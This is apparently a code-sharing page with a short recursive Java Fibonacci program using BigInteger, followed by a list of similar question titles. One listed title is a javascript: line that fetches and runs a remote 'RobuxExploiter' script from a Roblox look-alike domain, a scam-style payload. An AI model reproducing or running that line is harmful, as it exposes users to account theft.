Fibonacci for biginteger

import java.math.BigInteger;
import java.util.Scanner;

public class FibonacciRecursion {

    public static BigInteger fibonacci(int n) {
        if (n == 1 || n == 2) {
            return BigInteger.ONE;

        }else if(n==0){
            return BigInteger.ZERO;
        }
        else {
            return (fibonacci(n - 1).add(fibonacci(n - 2)));
        }

    }


    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        int n = sc.nextInt();
        BigInteger ans = fibonacci(n);
        System.out.println(ans);
    }

}

Similar codes

0 vote287 views1 answer
Start async task android
Java
18 votes283 views2 answers
How to get int from string java
Java
0 vote269 views2 answers
About action Listioner in java Swing
Java
-1 vote275 views1 answer
Java get classpath
Java
0 vote250 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Java
0 vote257 views1 answer
Get sum of int array and return string
Java
6 votes327 views2 answers
Get today's date java android studio
Java
0 vote278 views1 answer
Java MultipartFile not empty
Java
0 vote278 views1 answer
How to subtract localdatetime in java
Java
0 vote301 views1 answer
Document inserted succesfully but not present in the collection java
Java